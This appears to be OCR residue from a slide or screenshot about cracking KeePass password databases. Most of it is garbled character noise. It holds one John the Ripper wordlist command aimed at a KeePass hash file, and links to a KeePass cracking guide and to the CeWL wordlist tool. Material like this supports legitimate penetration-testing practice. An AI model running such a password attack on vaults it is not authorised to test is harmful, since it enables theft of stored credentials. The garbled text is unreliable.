DX o 4 XX s xx." . (hashe i «1 . i.” o John the Rippef _ _ 1 ™ | %y

~ v o ~ <

¥" o Ho 4%

john -- wordlist =word_list.txt Keepasshash.txt
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https://www.thedutchhacker.com/how-to-crack-a-keepass-database-file/
https://digi.ninja/projects/cewl.php

























































































































